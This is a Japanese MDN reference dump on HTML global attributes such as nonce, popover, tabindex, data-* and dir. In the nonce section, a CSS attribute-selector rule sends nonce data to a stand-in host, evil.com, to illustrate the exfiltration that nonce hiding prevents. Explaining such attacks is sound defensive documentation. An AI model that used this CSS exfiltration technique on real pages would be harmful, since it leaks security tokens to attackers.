recursal/MDN huggingface dataset:
popover
=======

Limited availability
--------------------

This feature is not Baseline because it does not work in some of the most widely-used browsers.

* Learn more
* See full compatibility
* Report feedback
**Experimental:** **これは実験的な機能です。**  
本番で使用する前にブラウザー互換性一覧表をチェックしてください。

**`popover`** はグローバル属性で、要素をポップオーバー要素として示すために使われます。

ポップオーバー要素は、呼び出し／制御要素（すなわち `<button>` または `<input type="button">` に `popovertarget` 属性が付いたもの）、または `HTMLElement.showPopover()` の呼び出しによって開かれるまで、`display: none` で非表示になっています。

開かれると、ポップオーバー要素は、最上位レイヤー (en-US)内の他のすべての要素の上に現れ、親要素の `position` や `overflow` のスタイル付けの影響を受けません。

使い方についての詳しい情報は、ポップオーバー API ランディングページを参照してください。

例
-

基本的な例
-----

以下は、ポップオーバー要素を開くためのボタンを描画するものです。


```html
<button popovertarget="my-popover">ポップオーバーを開く</button>

<div popover id="my-popover">私から皆さんへ、こんにちは！</div>
```


**メモ:** MDN にあるポップオーバーの例の完全な例にアクセスするには、ポップオーバー API 例のランディングページを参照してください。

仕様書
---

| Specification |
| --- |
| HTML Standard # the-popover-attribute |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* ポップオーバー API
nonce
=====

**`nonce`** グローバル属性は、
 これは暗号化ノンス ("number used once") を定義するコンテンツ属性で、コンテンツセキュリティポリシー が指定された要素に対してフェッチの実行を許可するかどうかを決定するために使用することができます。

解説
--

`nonce` 属性は、特定の要素、例えば特定のインラインスクリプトやスタイル要素を許可リスト化するのに有益なものです。
 CSP の `unsafe-inline` ディレクティブの使用を避けることができ、すべてのインラインスクリプトまたはスタイルを許可リスト化することができます。


**メモ:** 安全でないインラインのスクリプトや スタイルのコンテンツを使用しない方法がない場合のみ、 `nonce` を使用してください。もし `nonce` が必要ないのであれば、使用しないでください。スクリプトが静的なものであれば、代わりに CSP ハッシュを使用することもできます。
 （安全でないインラインスクリプトの使用上の注意を参照してください。）
 常に CSP の保護を最大限に活用し、ノンスや安全でないインラインスクリプトを可能な限り避けるようにしてください。


### <script> 要素を許可リスト化するためにノンスを使用

ノンス機構を使用したインラインスクリプトを許可するためには、いくつかの手順があります。

#### 値の生成

ウェブサーバーから、暗号的に安全な乱数発生器を用いて、少なくとも 128 ビットのデータをランダムに Base64 エンコードした文字列を生成します。ノンスはページを読み込むたびに違った形で生成する必要があります（ノンスは 1 回だけ）。例えば node.js で、次のように行います。


```js
const crypto = require("crypto");
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='
```


#### インラインスクリプトの許可リスト化

バックエンドのコードで生成されたノンスは、これで許可リストにしたいインラインスクリプトに使用されます。


```html
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
 // …
</script>
```


#### ノンス付きの CSP ヘッダーの送信

最後に、ノンスの値を `Content-Security-Policy` ヘッダーで送る必要があります（`nonce-` を前に付ける）。


```http
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
```

### ノンスへのアクセスとノンスの隠蔽

セキュリティ上の理由から、コンテンツ属性 `nonce` は隠蔽されます（空文字列が返されます）。


```js
script.getAttribute("nonce"); // 空文字列を返す
```


`nonce` プロパティは、ノンスにアクセスするための唯一の方法です。


```js
script.nonce; // ノンスの値を返す
```


ノンスの隠蔽は、このようにコンテンツ属性からデータを取得するメカニズムによって、攻撃者がノンスデータを流出させることを防ぐのに役立ちます。


```css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}
```

仕様書
---

| Specification |
| --- |
| HTML Standard # attr-nonce |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `HTMLElement.nonce`
* コンテンツセキュリティポリシー
* CSP: `script-src`
accesskey
=========

**`accesskey`** グローバル属性は、現在の要素のショートカットキーを生成するためのヒントを与えます。この属性は空白で区切った表示可能な文字（キーボードから生成できるアクセント付き文字やその他の文字を含む）から成ります。

試してみましょう
--------

**メモ:** WHATWG の仕様書では、空白区切りの複数の文字を指定することができ、ブラウザーは対応する最初の一つを使用するとしています。しかし、これは多くのブラウザーでは動作しません。 IE や Edge は、他のコマンドと競合がない問題なく使用することができる最初の 1 つを使用します。

アクセスキーを有効にする方法は、ブラウザーやプラットフォームによって異なります。

|  | Windows | Linux | Mac |
| --- | --- | --- | --- |
| Firefox | `Alt` + `Shift` + `*key*` | 
 Firefox 57 以降では `Control` + `Option` +
 `*key*` または `Control` + `Alt` +
 `*key*`Firefox 14 以降では `Control` + `Alt` +
 `*key*`Firefox 13 以前では `Control` + `*key*` |
| Edge | N/A | `Control` + `Option` + `*key*``Control` + `Option` + `Shift` +
 `*key*` |
| Google Chrome | `Alt` + `*key*` |
| Safari | N/A |
| Opera 15+ | `Alt` + `*key*` | `Control` + `Alt` + `*key*` |
| Opera 12 | `Shift` + `Esc` で、accesskey
 でアクセスできるコンテンツの一覧を開きます。そして
 `*key*` を押すと、該当項目を選択できます。
  |

アクセシビリティの考慮
-----------

`accesskey` 属性は、ブラウザーの対応が貧弱であることに加え、数々の考慮事項があります。

* `accesskey` の値はシステムやブラウザーのショートカットキーや支援技術の機能と競合する可能性があります。あるオペレーティングシステム、支援技術、ブラウザーの組み合わせで動作しても、他の組み合わせでは動作しない可能性があります。
* 特に国際化を考慮している場合、特定の `accesskey` の値が特定のキーボードに存在しないことがあります。そのため、特定の言語において更なる問題が発生する可能性があります。
* 数字に依存した `accesskey` の値は、認知障碍を持つ人に混乱を招く可能性があります。数字には、起動する機能と論理的な関連性がありません。
* `accesskey` が存在することをユーザーに通知することで、ユーザーはその機能を認識します。システムがその機能について知らされる方法がない場合は、 `accesskey` が誤って有効になる可能性があります。

これらの問題のため、一般用途のウェブサイトやウェブアプリの多くでは、 `accesskey` を使用しないよう一般的にアドバイスされています。

* WebAIM: Keyboard Accessibility - Accesskey
仕様書
---

| Specification |
| --- |
| HTML Standard # the-accesskey-attribute |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `HTMLElement.accessKey`
* `HTMLElement.accessKeyLabel`
* すべてのグローバル属性
* `aria-keyshortcuts`
itemid
======

**`itemid`** はグローバル属性で、アイテムの固有でグローバルな識別子の形でマイクロデータを提供します。

`itemid` 属性は、`itemscope` と `itemtype` の両属性のある要素にだけ指定することができます。また `itemid` は、グローバル識別子に対応する語彙を参照または定義する `itemtype` に関係した `itemscope` 属性を持つ要素でのみ使用することができます。

`itemtype` のグローバル識別子の正確な意味は、それを特定する語彙の中で識別子の定義が提供されます。語彙は同じグローバル識別子を持つ複数のアイテムが共存できるかどうか、もしそうであれば、同じ識別子を持つアイテムがどのように扱われるかを定義します。

**メモ:** WHATWG の定義では、 `itemid` が URL でなければならないと指定しています。しかし、以下の例では URN も使用されることを明らかに示しています。この矛盾はマイクロデータ仕様の不完全性を反映したものかもしれません。

例
-

### 本のための構造化データの表現

この例では、マイクロ属性を用いて、以下の構造化データを表現しています。

|  |  |  |
| --- | --- | --- |
| itemscope | itemtype: itemid | https://schema.org/Book: urn:isbn:0-374-22848-5 |
| itemprop | title | Owls of the Eastern Ice |
| itemprop | author | Jonathan C Slaght |
| itemprop | datePublished | 2020-08-04 |

#### HTML


```html
<dl
 itemscope
 itemtype="https://schema.org/Book"
 itemid="urn:isbn:0-374-22848-5<">
  <dt>Title</dt>
  <dd itemprop="title">Owls of the Eastern Ice</dd>
  <dt>Author</dt>
  <dd itemprop="author">Jonathan C Slaght</dd>
  <dt>Publication date</dt>
  <dd>
    <time itemprop="datePublished" datetime="2020-08-04">August 4 2020</time>
  </dd>
</dl>
```


#### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # attr-itemid |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* すべてのグローバル属性
* その他のマイクロデータに関するグローバル属性:
    + `itemprop`
    + `itemref`
    + `itemscope`
    + `itemtype`
data-\*
=======

**`data-*`** グローバル属性 は**カスタムデータ属性**と呼ばれる属性の組を作り、HTML と、スクリプトによる DOM 表現との間で、固有の情報を交換できるようにします。

試してみましょう
--------

 すべてのカスタムデータは、属性を設定した要素の `HTMLElement` インターフェイスを通して使用できます。 `HTMLElement.dataset` プロパティがそれらへのアクセス手段を提供します。
 `*` は、 XML 名の作成規則に加えて以下の制約に従う名前に置き換えることができます。

* 大文字小文字にかかわらず、名前を `xml` で始めてはならない。
* 名前にコロン (`:`) を含めてはならない。
* 名前に大文字を含めてはならない。

なお、 `HTMLElement.dataset` プロパティは `DOMStringMap` であり、またカスタムデータ属性名のハイフン (`U+002D`) はその次の文字を大文字化したもの（キャメルケース）に変換されるので、 *data-test-value* は `HTMLElement.dataset.testValue` （または `HTMLElement.dataset["testValue"]`）としてアクセスできます。

### 使用方法

`data-*` 属性を追加すると通常の HTML 要素でも、より複雑で強力なプログラムオブジェクトになります。例えばゲームで宇宙船の "スプライト*"* を、単純な `<img>` 要素に `class` 属性といくつかの `data-*` 属性を設定したもので表すことができるでしょう。


```html
<img
 class="spaceship cruiserX3"
 src="shipX3.png"
 data-ship-id="324"
 data-weapons="laserI laserII"
 data-shields="72%"
 data-x="414354"
 data-y="85160"
 data-z="31940"
 onclick="spaceships[this.dataset.shipId].blasted()" />
```


もっと深い HTML のデータ属性の使用については、データ属性の使用を参照してください。

仕様書
---

| Specification |
| --- |
| HTML Standard # attr-data-\* |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* すべてのグローバル属性
* これらの値を読み書きできる `HTMLElement.dataset` プロパティ
* データ属性の使用
inputmode
=========

**`inputmode`** はグローバル属性で、ユーザーが要素やその内容を編集する際に入力されるデータの型のヒントとなる列挙型属性です。
 これにより、ブラウザーは適切な仮想キーボードを表示することができます。

これは主に `<input>` 要素で使用されますが、 `contenteditable` モードの任意の要素で使用することができます。

重要なことは、 `inputmode` 属性は入力に対していかなる有効性の要求も発生させないということです。入力が特定のデータ型に適合することを要求するには、適切な `<input>` 要素型 を選んでください。 `<input>` 型を選ぶ際の特定の指針については、値の節を参照して下さい。

値
-

下記の値が存在します。

`none`

 仮想キーボードなし。
 ページが独自のキーボード入力を実装している場合のためのものです。


`text` (既定値)

ユーザーの現在のロケールにおける標準的な入力キーボードです。

`decimal`

 実数を入力するキーボードで、数字とユーザーのロケール上で適切な区切り文字 (ふつうは `.` または `,`) を含みます。
 負号キー (`-`) を表示するかどうかは端末によります。


`numeric`

 数字を入力するキーボードですが、数字の 0 から 9 までのみを必要とするものです。
 負号キーを表示するかどうかは端末によります。


`tel`

 電話番号を入力するテンキーで、 0 から 9 までの数字と、アスタリスク (`\*`)、ナンバー (`#`) キーがあります。
 電話番号を要求する入力欄は、ふつうは代わりに `<input type="tel">` を使用してください。


`search`

 検索入力に最適化された仮想キーボードです。
 例えば、 return/submit キーのラベルが「検索」になっていたり、他の最適化が行われている可能性もあります。
 検索クエリーを要求する入力欄は、ふつうは代わりに `<input type="search">` を使用してください。


`email`

 電子メールアドレスの入力に最適化された仮想キーボードです。
 ふつう `@` の文字を含むなどの他の最適化が行われます。
 メールアドレスの入力を要求する入力欄は、ふつうは代わりに `<input type="email">` を使用してください。


`url`

 URL の入力に最適化された仮想キーボードです。
 例えば `/` キーが目立つ場所に配置されているなどです。
 履歴へのアクセス機能などの拡張機能が含まれている場合もあります。
 URL の入力を要求する入力欄は、ふつうは代わりに `<input type="url">` を使用してください。


仕様書
---

| Specification |
| --- |
| HTML Standard # attr-inputmode |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* すべてのグローバル属性
* `enterkeyhint` グローバル属性
itemref
=======

`itemscope` 属性を持つ要素の子孫でないプロパティは、グローバル属性 **`itemref`** を使用してアイテムに関連付けることができます。

`itemref` は文書内のどこかにある追加のプロパティがある要素の ID （`itemid` ではない）のリストを提供します。

`itemref` 属性は `itemscope` 属性が指定された要素のみで指定することができます。

**メモ:** `itemref` 属性は、マイクロデータのデータモデルの一部ではありません。注釈づけるデータが扱いやすいツリー構造に従っていないページにおいて、注釈を追加することを助けるための単なる構文構造です。例えば、テーブル内のデータをマークアップするために、セル内のプロパティを維持しながらそれぞれの列に別々なアイテムを定義することができます。

例
-

### バンドの構造化データの表現

この例では、マイクロデータ属性を使用して、次の構造化データを（JSON-LD 形式で）表現しています。


```json
{
  "@id": "amanda",
  "name": "Amanda",
  "band": {
    "@id": "b",
    "name": "Jazz Band",
    "size": 12
  }
}
```


#### HTML


```html
<div itemscope id="amanda" itemref="a b"></div>
<p id="a">Name: <span itemprop="name">Amanda</span></p>
<div id="b" itemprop="band" itemscope itemref="c"></div>
<div id="c">
  <p>Band: <span itemprop="name">Jazz Band</span></p>
  <p>Size: <span itemprop="size">12</span> players</p>
</div>
```


#### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # attr-itemref |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 他のグローバル属性
* マイクロデータに関連する他のグローバル属性:
    + `itemid`
    + `itemprop`
    + `itemscope`
    + `itemtype`
contextmenu
===========

**非推奨:** この機能は非推奨になりました。まだ対応しているブラウザーがあるかもしれませんが、すでに関連するウェブ標準から削除されているか、削除の手続き中であるか、互換性のためだけに残されている可能性があります。使用を避け、できれば既存のコードは更新してください。このページの下部にある互換性一覧表を見て判断してください。この機能は突然動作しなくなる可能性があることに注意してください。

**非標準:** この機能は標準ではなく、標準化の予定もありません。公開されているウェブサイトには使用しないでください。ユーザーによっては使用できないことがあります。実装ごとに大きな差があることもあり、将来は振る舞いが変わるかもしれません。

**`contextmenu`** グローバル属性 は、当該要素のコンテキストメニューとして使用する `<menu>` 要素の **id** です。

*コンテキストメニュー*は、右クリックなどユーザーの操作によって現れます。 HTML ではこのメニューをカスタマイズできます。以下は入れ子のメニューを含む実装例です。

例
-

### HTML


```html
<body contextmenu="share">
  <menu type="context" id="share">
    <menu label="share">
      <menuitem label="Twitter" onclick="shareViaTwitter()"></menuitem>
      <menuitem label="Facebook" onclick="shareViaFacebook()"></menuitem>
    </menu>
  </menu>
  <ol>
    <li>
      この例のどこででも、コンテキストメニューの "share" メニューを使用して
      Twitter や Facebook に、このページを共有できます。
    </li>
    <li contextmenu="changeFont" id="fontSizing">
      このリスト項目で、コンテキストメニューの "Increase/Decrease font"
      を使用してテキストのサイズを変更できます。
    </li>
    <menu type="context" id="changeFont">
      <menuitem label="Increase Font" onclick="incFont()"></menuitem>
      <menuitem label="Decrease Font" onclick="decFont()"></menuitem>
    </menu>
    <li contextmenu="ChangeImage" id="changeImage">
      以下の画像で、コンテキストメニューから "Change Image" の
      アクションを実行できます。<br />
      <img
 src="promobutton\_mdn5.png"
 contextmenu="ChangeImage"
 id="promoButton"
 alt="Better CSS Docs for a better web" />
      <menu type="context" id="ChangeImage">
        <menuitem label="Change Image" onclick="changeImage()"></menuitem>
      </menu>
    </li>
  </ol>
</body>
```

### JavaScript


```js
function shareViaTwitter() {
  window.open(
    "https://twitter.com/intent/tweet?text=" +
      "Hurray! I am learning ContextMenu from MDN via Mozilla",
  );
}

function shareViaFacebook() {
  window.open(
    "https://facebook.com/sharer/sharer.php?u=" +
      "https://developer.mozilla.org/en/HTML/Element/Using\_HTML\_context\_menus",
  );
}

function incFont() {
  document.getElementById("fontSizing").style.fontSize = "larger";
}

function decFont() {
  document.getElementById("fontSizing").style.fontSize = "smaller";
}

function changeImage() {
  const index = Math.ceil(Math.random() \* 39 + 1);
  document.images[0].src = `${index}.png`;
}
```

### 結果

仕様書
---

contextmenu 属性は廃止され、すべてのブラウザーから削除される予定です。

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* すべての グローバル属性
* `HTMLElement.contextMenu`
title
=====

**`title`** グローバル属性は、要素に関するアドバイザリー情報を表すテキストを含みます。

試してみましょう
--------

`title` 属性の主な用途は、 `<iframe>` 要素の支援技術のためのラベル付けです。

`title` 属性は、データ表内のコントロールのラベル付けに使用することもできます。

`title` 属性は、`<link rel="stylesheet">` に追加すると、代替のスタイルシートを作成することができます。代替スタイルシートを `<link rel="alternate">` で定義する場合、この属性は必須であり、空でない文字列を設定する必要があります。

`<abbr>` の開始タグに `title` を記述する場合は、略語や頭字語の完全な展開形である必要があります。可能であれば、`title` を使用するのではなく、略語や頭字語を最初に使用する際に、 `<abbr>` を使用して略語をマークアップし、プレーンテキストで略語の展開形を提供してください。こうすることで、すべてのユーザーがその略語や頭字語が、どのような名前や用語を短縮しているのかを知ることができ、同時にユーザーエージェントには、コンテンツをどのように告知すればよいかのヒントを提供することができます。

`<input>` 要素にプログラム的に関連付けられたラベルを提供するために `title` を使用することができますが、これは良い習慣ではありません。代わりに `<label>` を使用してください。

複数行のタイトル
--------

`title` 属性は複数の行を含むことができます。それぞれの `U+000A LINE FEED` (`LF`) 文字が改行を表します。いくつか注意しなければならないのは、これが次のように 2 行にわたって描画されることです。

### HTML


```html
<p>
  Newlines in <code>title</code> should be taken into account, like
  <span
 title="This is a
multiline title"
 >example</span
 >.
</p>
```

### 結果

title 属性の継承
-----------

要素に `title` 属性がない場合、属性値は親ノードから継承され、さらにそれはその親ノードから継承されるというようになります。

この属性が空文字列に設定されると、その祖先の `title` が関係なく、この要素のツールチップとして使用するべきではないことを意味します。

### HTML


```html
<div title="CoolTip">
  <p>Hovering here will show "CoolTip".</p>
  <p title="">Hovering here will show nothing.</p>
</div>
```

### 結果

アクセシビリティの考慮
-----------

`title` 属性を使用することは、次のような人々にとって大きな問題になります。

* タッチのみの機器を使用している人々
* キーボードで操作している人々
* 読み上げソフトや拡大鏡などの支援技術で操作している人々
* 細かい運動制御障碍を経験している人々
* 認知障碍のある人

これは、ブラウザーが表示するページを追加支援技術が解釈することによる複合性について、ブラウザーの互換性に一貫性がないためです。ツールチップ効果が必要であれば、上記の閲覧方法でもアクセスできるもっとアクセシブルな技術を使用する方が効果的です。

* 3.2.5.1. The title attribute | W3C HTML 5.2: 3. Semantics, structure, and APIs of HTML documents
* Using the HTML title attribute – updated | The Paciello Group
* Tooltips & Toggletips - Inclusive Components
* The Trials and Tribulations of the Title Attribute - 24 Accessibility
仕様書
---

| Specification |
| --- |
| HTML Standard # the-title-attribute |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* すべてのグローバル属性。
* `HTMLElement.title` は、この属性を反映します。
part
====

**`part`** グローバル属性は、要素の部品名の空白区切りのリストを指定します。 CSS は部品名を使用して、 `::part` 擬似要素を介してシャドウツリー内の特定の要素の選択およびスタイルの設定を行うことができます。

使用例については Shadow part example をご覧ください。

仕様書
---

| Specification |
| --- |
| CSS Shadow Parts # part-attr |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* すべてのグローバル属性
is
==

**`is`** グローバル属性で、標準の HTML 要素が定義されたカスタム組み込み要素のように振る舞うよう指定することができます（詳しくはカスタム要素の使用を参照してください）。

この属性は、指定されたカスタム要素名が現在の文書で正常に定義され、適用されている要素型が拡張されている場合にのみ使用します。

例
-

次のコードは、 word-count-web-component の例から取得されたものです（ライブで参照）。


```js
// 要素のクラスを作成
class WordCount extends HTMLParagraphElement {
  constructor() {
    // コンストラクターでは常に最初に super を呼び出すこと
    super();

    // コンストラクターの内容は簡略化のため除外しています
    // …
  }
}

// 新しい要素を定義
customElements.define("word-count", WordCount, { extends: "p" });
```



```html
<p is="word-count"></p>
```

仕様書
---

| Specification |
| --- |
| HTML Standard # attr-is |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* すべてのグローバル属性。
slot
====

**`slot`** はグローバル属性で、シャドウ DOM のシャドウツリー内にあるスロットを、ある要素に割り当てます。 `slot` 属性をもつ要素には、 `<slot>` 要素に `name` 属性の値を指定することで生成されたスロット
 の値がその `slot` 属性の値と一致する生成されたスロットに割り当てられます。

例については、テンプレートとスロットの使用ガイドを参照してください。

仕様書
---

| Specification |
| --- |
| HTML Standard # attr-slot |
| DOM Standard # ref-for-dom-element-slot① |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* すべてのグローバル属性
spellcheck
==========

**`spellcheck`** グローバル属性は、要素でスペルミスのチェックを行うかを定義する列挙型属性です。

試してみましょう
--------

以下の値を使用できます。

* 空文字列または `true`: 可能であればその要素でスペルチェックを行うことを示す
* `false`: その要素でスペルチェックを行わないことを示す

この属性が設定されていない場合、既定では要素型およびブラウザーで定義された値となります。この既定値は継承も可能です。これは、最も近い祖先の *spellcheck* の状態が `true` である場合にのみ、要素のコンテンツがスペルミスをチェックすることを意味します。

この属性は単にブラウザーのためのヒントです。ブラウザーはスペルミスを調べることを要求されているわけではありません。通常、編集不可能な要素は、たとえ `spellcheck` 属性が `true` に設定され、ブラウザーがスペルチェックに対応していても、スペルチェックは行われません。

セキュリティとプライバシーの考慮事項
------------------

 スペルチェックを使用すると、ユーザーのセキュリティやプライバシーに影響を与えることがあります。
 この仕様はスペルチェックの方法を規制しておらず、要素のコンテンツはスペルチェックの結果を第三者に送る可能性があります（enhanced spellchecking and "spell-jacking" を参照してください）。

機密情報を格納する可能性がある要素には、 `spellcheck` を `false` に設定することを考えるべきです。

仕様書
---

| Specification |
| --- |
| HTML Standard # attr-spellcheck |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* すべての グローバル属性
dir
===

**`dir`** グローバル属性は列挙型属性で、要素のテキストの書字方向を示します。

試してみましょう
--------

次の値を使用することができます。

* `ltr`: *left to right* を表し、左書きの言語（英語など）に対して使用します。
* `rtl`: *right to left* を表し、右書きの言語（アラビア語など）に対して使用します。
* `auto`: ユーザーエージェントに決定させます。書字方向が明確な文字が見つかるまで要素内の文字を解釈して、その方向を要素全体に適用する基本的なアルゴリズムを使用します。

**メモ:** この属性は、意味論的な位置づけが異なる場所を示す `<bdo>` 要素で必須です。

* この属性は `<bdi>` 要素に継承され**ません**。属性を設定しない場合の値は `auto` になります。
* この属性は、 CSS の `direction` プロパティや `unicode-bidi` プロパティで上書きできます。ただし、 CSS が有効かつ要素がこれらのプロパティに対応する場合に限ります。
* テキストの書字方向はその表示ではなく、内容に対して意味論的な関係がありますので、ウェブ開発者には、可能であれば関連する CSS プロパティの代わりにこの属性を使用することを推奨します。これにより、 CSS に対応しないブラウザーや CSS を無効化したブラウザーでもテキストが正しく表示されます。
* 値 `auto` は、ユーザーが入力して最終的にデータベースへ保存するデータなど、書字方向が不定のデータに対して使用してください。

**メモ:** ブラウザーではユーザーが `<input>` や `<textarea>` の書字方向を変更することを許可して、コンテンツの執筆を支援していることがあります。 Chrome と Safari は入力フィールドのコンテキストメニューに書字方向のオプションを提供している一方、 Internet Explorer と Edge はキーバインド `Ctrl` + `Left Shift` および `Ctrl` + `Right Shift` を使用します。 Firefox は `Ctrl`/`Cmd` + `Shift` + `X` を使用しますが、 **`dir`** 属性の値は変更しません。

仕様書
---

| Specification |
| --- |
| HTML Standard # the-dir-attribute |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* すべてグローバル属性
* `HTMLElement.dir` は、この属性を反映します。
id
==

**`id`** グローバル属性は、文書全体で一意でなければならない識別子 (ID) を定義します。この属性の用途は、リンク（フラグメント識別子を使用）、スクリプト、スタイル（CSS を使用）で要素を特定することです。

試してみましょう
--------

**警告:** この属性の値は不伝導性の文字列です。つまり、ウェブ作者は人間が理解するための情報を伝えるためにこの情報を使用するべきではありません（ただし、 ID を人間が理解できるようにすることは、コードを理解するために有用です。例えば、 `ticket-18659` と `r45tgfe-freds&$@` を比べてみてください）。

`id` の値にホワイトスペース文字 (空白やタブなど) を含めてはいけません。ブラウザーはホワイトスペース文字を含む不適合な ID を、ホワイトスペース文字が ID の一部であるかのように扱います。空白区切りで並べた値を受け入れる `class` 属性とは対照的に、要素は ID の値をひとつだけ持つことができます。

**メモ:** 技術的には、`id` 属性の値にはホワイトスペース文字を除いて、どんな文字でも入れることができます。しかし、不注意によるエラーを避けるためには、ASCII 文字、数字、`'_'`、`'-'` のみを使用し、`id` 属性の値は文字から始める必要があります。例えば、`.` は CSS では特別な意味を持ちます（クラスセレクターとして動作します）。CSS の中でそれをエスケープするように注意しない限り、`id` 属性の値の一部として認識されることはありません。この処理を忘れると、コードにバグが発生し、発見が困難になることがあります。

仕様書
---

| Specification |
| --- |
| HTML Standard # global-attributes:the-id-attribute-2 |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* すべてのグローバル属性
* `Element.id` はこの属性を反映します
* `Document.getElementById` メソッド
* CSS の ID セレクター
tabindex
========

Baseline Widely available
-------------------------

This feature is well established and works across many devices and browser versions. It’s been available across browsers since October 2018.

* Learn more
* See full compatibility
* Report feedback
**`tabindex`** グローバル属性は、開発者が HTML要素をフォーカス可能にし、（ふつうは名前の由来である `Tab` キーによる）順番にフォーカスすることを許可または防止し、順番にフォーカスするための相対順序を決定することができるようにします。

試してみましょう
--------

値としては整数値を受け付け、値によって次のような様々な結果になります。

**メモ:** HTML 要素がレンダリングされ、その `tabindex` 属性が有効な整数値である場合、その要素は JavaScript で（`focus()` メソッドを呼び出すことで）フォーカスしたり、マウスクリックで視覚的にフォーカスしたりすることができます。特定の `tabindex` 値は、その要素が `tabbable` （キーボードによる連続したナビゲーション、通常は `Tab` キーで到達可能）であるかどうかを制御します。

* *負の数* （正確な値は重要ではありませんが、ふつうは `tabindex="-1"`）は、その要素がキーボードの順次ナビゲーションでは到達できないことを意味します。

**メモ:** tabindex="-1"` は、`Tab` キーで直接ナビゲートされるべきではないが、キーボードフォーカスを設定する必要のある要素に有益な場合があります。例としては、表示されたときにフォーカスされるべき画面外のモーダルウィンドウや、誤ったフォームを送信したときに直ちにフォーカスされるべきフォーム送信エラーメッセージなどが挙げられます。
* `tabindex="0"` は、要素がキーボードの順次ナビゲーションで、`tabindex` が正の値の要素の後にフォーカスを持つことが可能であることを意味します。これらの要素のフォーカスナビゲーション順は、文書のソース内の順序で定義されます。
* 正の数は、要素がキーボードの順次ナビゲーションでフォーカスを持つことが可能であり、その順序は数値で定義されることを表します。つまり、 `tabindex="4"` は `tabindex="5"` よりも前にフォーカスが来ますが、 `tabindex="3"` よりも後だということです。複数の要素に同じ正の数の `tabindex` が指定された場合は、文書のソース内の互いの位置に従った順序になります。 `tabindex` の最大値は 32767 です。
* もし `tabindex` 属性が値なしで記述された場合、その要素をフォーカス可能にするかどうかは、ユーザーエージェントが決定します。

**警告:** `tabindex` の値として、`0` と `-1` のみを使用することをお勧めします。`tabindex` の値を `0` より大きくしたり、フォーカス可能な HTML 要素の順序を変更できる CSS プロパティ（フレックスアイテムの順序）を使用したりしないようにしましょう。これは、キーボードによるナビゲーションや支援技術を使用している人にとって、ページのコンテンツを操作することが難しくなります。代わりに、論理的な順序で要素を記述してください。

フォーカス可能な HTML 要素の中には、ユーザーエージェントによって、`tabindex` に `0` の既定値が与えられるものがあります。これらの要素は `href` 属性を持つ `<a>` または `<area>`、`<button>`、`<frame>` 
非推奨
、`<iframe>`、`<input>`、`<object>`、`<select>`、`<textarea>`、SVG の `<a>` 要素、あるいは `<details>` 要素の概要を提供する `<summary>` 要素があります。開発者は既定の動作を変更しない限り、これらの要素に `tabindex` 属性を追加しないでください（例えば、負の値を記載すると、フォーカスされたナビゲーション順序から要素が削除されます）。

**警告:** tabindex 属性は `<dialog>` 要素に使用してはいけません。

アクセシビリティの考慮事項
-------------

キーボード入力で対話的にフォーカスを設定できるようにするために、 対話型コンテンツではないものに `tabindex` 属性を組み合わせて使用することは避けてください。例えば、 `<button>` 要素を使用する代わりに `<div>` 要素を使用してボタンを記述する場合などです。

対話的要素でないものを使用して対話的コンポーネントを記述すると、アクセシビリティツリーに掲載されません。これは、支援技術によって移動や操作を行うことを阻害します。このようなコンテンツは、代わりに（`<a>`、`<button>`、`<details>`、`<input>`、`<select>`、`<textarea>` などの）対話型要素を使用して意味的に記述するべきです。これらの要素には、 ARIA によって管理しなければならないアクセシビリティにステータスを伝える、組み込みのロールと状態があります。

* Using the tabindex attribute | The Paciello Group
仕様書
---

| Specification |
| --- |
| HTML Standard # attr-tabindex |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* すべてのグローバル属性。
* `HTMLElement.tabIndex` は、この属性を反映します。
* `tabindex` に関するアクセシビリティの問題について、 Adrian Roselli による Don't Use Tabindex Greater than 0 を参照。
exportparts
===========

**`exportparts`** グローバル属性 では、ネストしたシャドウツリー内に存在する要素を部品 (`part`) 名でエクスポートして、そのスタイルを選択できるようにすることができます。

 シャドウツリーは、識別子、クラス、スタイルが、通常の DOM に属するセレクターやクエリーによって到達することができない孤立した構造体です。
 シャドウツリーに存在する要素に、その外部で作成された CSS ルールによってスタイルを適用するには、`part` グローバル属性を使用する必要があります。これは、シャドウツリーに表示される要素に割り当てる必要があり、その値は何らかの識別子である必要があります。
 シャドウツリーの外部にあるルールは、引数と同じ識別子を持つ `::part` 擬似要素を使用しなければなりません。

グローバル属性 `part` は、その要素を単一の深さのレベルでだけ見えるようにします。シャドウツリーが入れ子になっている場合、パートはシャドウツリーの親にのみ表示され、その祖先には表示されません。さらに下の階層にパーツをエクスポートするには、まさに `exportparts` 属性が必要です。

